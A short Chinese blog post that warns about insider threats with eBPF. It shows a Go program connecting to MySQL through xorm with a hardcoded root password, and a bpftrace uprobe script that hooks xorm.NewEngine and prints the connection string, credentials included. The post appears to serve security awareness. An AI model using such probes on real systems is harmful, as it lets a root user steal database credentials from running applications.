前言
记得在360实习的时候,听到过一句话,大部分的安全问题并不是黑客造成的,而是内部人员。
epbf可以避免代码侵入,像桩子一样监控应用,同时也带来了一些安全问题。
下面简单演示一下如何利用bpftrace窃取Mysql的账号密码。
步骤
Go程序
- 这个程序只是利用xorm连接数据库,然后判断student这张表是否存在,
package mainimport ( "fmt" _ "github.com/go-sql-driver/mysql" "log" "xorm.io/xorm")func main() { db, err := xorm.NewEngine("mysql", "root:123456@tcp(127.0.0.1:3306)/testdb?charset=utf8&parseTime=True&loc=Asia%2FShanghai") if err != nil { log.Fatalln("fail to connect mysql", err) } fmt.Println(db.IsTableExist("student")) db.Close()}
bpftrace程序
#! /bin/bpftraceuprobe:./main:"xorm.io/xorm.NewEngine"{ printf("参数: %s\n", str(reg("cx"),reg("di")));}
运行结果
so,只要你有root权限,就有可能将各种敏感信息拿到手。
目前Linux内核和ebpf的应用在国内还没有铺开,相信未来会成为安全的挑战之一。